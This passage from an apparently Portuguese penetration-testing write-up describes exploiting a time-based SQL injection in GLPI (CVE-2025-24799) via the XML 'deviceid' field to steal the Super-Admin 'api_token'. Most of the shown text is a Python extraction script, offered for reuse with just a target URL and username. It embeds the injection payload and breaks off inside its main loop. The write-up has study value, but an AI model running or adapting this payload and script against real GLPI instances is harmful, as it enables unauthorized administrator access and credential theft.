&lt;li&gt;Usaremos do corpo XML esperado para interação com essa função, onde o parâmetro alvo é o &lt;strong&gt;deviceid&lt;&#x2F;strong&gt; e dentro dele colocaremos um payload de SQL Injection que será encapsulado no objeto &lt;code&gt;SimpleXMLElement&lt;&#x2F;code&gt;, passando intacto pela sanitização e sendo executado no banco de dados.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;sql-injection.png&quot; alt=&quot;SQL Injection no GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Após confirmar que a instância alvo estava vulnerável, podemos presumir algumas coisas:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;A versão instalada é a 10.0.17 ou inferior;&lt;&#x2F;li&gt;
&lt;li&gt;Possivelmente a falha CVE-2025-24801 de RCE autenticado poderá funcionar;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Um SQL Injection é uma ótima falha, mas qual o problema de toda essa situação? O primeiro problema é que a exploração é baseada em tempo (&lt;em&gt;time-based SQLi&lt;&#x2F;em&gt;), o que torna um processo mais demorado, mas o problema principal mesmo é que as senhas dos usuários no GLPI que ficam armazenadas no banco de dados estão criptografadas utilizando Bcrypt, então levaria muito tempo extrair elas do banco de dados e não há qualquer garantia que eu poderia quebrá-las.&lt;&#x2F;p&gt;
&lt;p&gt;Continuando no artigo da Lexfo, notei que eles trazem a sugestão de que é possível extrair o &lt;strong&gt;api_token&lt;&#x2F;strong&gt; de um usuário e utilizar a API do GLPI para gerar um cookie de sessão válido que cede acesso à conta do usuário-alvo. Todavia, a Lexfo não aparenta ter disponibilizado como fazer isso, então precisei descobrir o formato do &lt;strong&gt;api_token&lt;&#x2F;strong&gt; e como usá-lo. O primeiro processo seria identificar se o usuário está presente no banco de dados e, se estiver, extrair esse token para utilizar a API do GLPI e obter uma sessão válida.&lt;&#x2F;p&gt;
&lt;p&gt;Analisando a documentação da API REST do GLPI, existe uma referência para o padrão do &lt;strong&gt;api_token&lt;&#x2F;strong&gt; e outras informações importantes para a construção do script. O que precisava descobrir primeiro era qual o formato desse token, seu comprimento e quais caracteres o compunham.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;docs-glpi-1.png&quot; alt=&quot;Documentação da API REST do GLPI - parte 1&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;docs-glpi-2.png&quot; alt=&quot;Documentação da API REST do GLPI - parte 2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;glpi-project&#x2F;glpi&#x2F;blob&#x2F;main&#x2F;apirest.md#init-session&quot;&gt;API Rest GLPI&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Esse é o padrão do token, caracteres de &lt;strong&gt;a&lt;&#x2F;strong&gt; até &lt;strong&gt;Z&lt;&#x2F;strong&gt;, de &lt;strong&gt;0&lt;&#x2F;strong&gt; a &lt;strong&gt;9&lt;&#x2F;strong&gt;, tem o &lt;strong&gt;comprimento de 41 caracteres&lt;&#x2F;strong&gt; e os caracteres podem ser maiúsculos ou minúsculos.&lt;&#x2F;p&gt;
&lt;p&gt;Para testar se a teoria estava correta, voltaremos a requisição original do SQL Injection e substituiremos para o uso da função de ASCII do SQL para converter um inteiro em um caractere e enviar isso ao Intruder do Burp Suite, que percorreria do número 0 até 200 e esperaria 6 segundos caso o caractere estivesse correto.&lt;&#x2F;p&gt;
&lt;p&gt;Ao percorrer até 200, cobrimos todo o espectro de caracteres imprimíveis padrão mais uma margem de segurança para caracteres estendidos. Se o caractere na posição X tiver valor ASCII igual ao número que estamos testando, o banco executa um SLEEP de 6 segundos e o Burp detecta esse delay, revelando qual é o caractere correto. Esse processo se repete para cada posição da string que queremos extrair (senha, hash, nome de usuário, etc.), construindo a informação byte a byte através da diferença no tempo de resposta.&lt;&#x2F;p&gt;
&lt;p&gt;Um ponto que me ajudou também é que o GLPI conta com diversos usuários padrão, como o usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt; que era meu alvo justamente por ser um usuário naturalmente &lt;strong&gt;Super-Admin&lt;&#x2F;strong&gt;, e que felizmente tinha um &lt;strong&gt;api_token&lt;&#x2F;strong&gt; definido.&lt;&#x2F;p&gt;
&lt;p&gt;Com a query abaixo, coletei uma parte do &lt;strong&gt;api_token&lt;&#x2F;strong&gt; do usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt; e confirmei que seria possível prosseguir desta forma, no entanto, isso acabaria levando muito tempo, e por isso, optei por desenvolver um script Python que automatizaria este processo.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;sql-query-user-token.png&quot; alt=&quot;Query SQL para extrair o api_token do usuário&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Abaixo deixarei o código utilizado para fazer a exfiltração destes dados, onde basta especificar a URL e o nome do usuário alvo. O restante dos argumentos são opcionais e podem ser ajustados dependendo do seu contexto. Lembrando que este código foi criado apenas para a resolução momentânea desta situação, então pode ocorrer problemas ou falso-positivos na extração.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; requests&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; time&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; argparse&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; urllib3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;urllib3.disable_warnings()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; payload&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;url&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; user&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; pos&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; char_code&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; sleep_time&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; timeout&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;) -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; bool&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    xml&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&amp;quot;&amp;quot;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;lt;xml&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;    &amp;lt;QUERY&amp;gt;get_params&amp;lt;&#x2F;QUERY&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;    &amp;lt;deviceid&amp;gt;&amp;#39; OR IF(ASCII(SUBSTRING((SELECT api_token FROM glpi_users WHERE name=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;user&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;#39; LIMIT 1),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;,1))=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;char_code&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;,SLEEP(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;sleep_time&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;),0)-- -&amp;lt;&#x2F;deviceid&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;    &amp;lt;content&amp;gt;creds&amp;lt;&#x2F;content&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;lt;&#x2F;xml&amp;gt;&amp;quot;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    headers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;        &amp;quot;Content-Type&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;application&#x2F;xml&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;        &amp;quot;User-Agent&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Mozilla&#x2F;5.0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;        &amp;quot;Accept&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;*&#x2F;*&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;        &amp;quot;Accept-Encoding&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;gzip, deflate, br&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; time.perf_counter()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    try&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        requests.post(url,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; headers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;headers,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;xml,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;timeout,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; verify&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    except&lt;&#x2F;span&gt;&lt;span&gt; requests.exceptions.Timeout:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; True&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    elapsed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; time.perf_counter()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; start&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; elapsed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;gt;=&lt;&#x2F;span&gt;&lt;span&gt; sleep_time&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argparse.ArgumentParser(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;description&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;NTSLabs | Time-based SQLi extractor for GLPI api_token | CVE-2025-24799&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-u&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--url&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;     required&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Full target URL (e.g. https:&#x2F;&#x2F;…&#x2F;)&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-n&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--name&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;    default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;glpi&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;   help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Username in glpi_users to extract token for&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-s&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--sleep&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;   type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;  help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Sleep time used in the payload&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-t&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--timeout&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;  help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Request timeout (should exceed sleep)&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-o&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--offset&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;  type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;  help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Starting character position (1-based)&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-m&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--max&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;     type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Max token length to probe&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-p&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--prefix&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;  default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;         help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Already-known prefix to prepend&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    args&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argparser.parse_args()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    token&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; args.prefix&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(args.offset, args.max&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
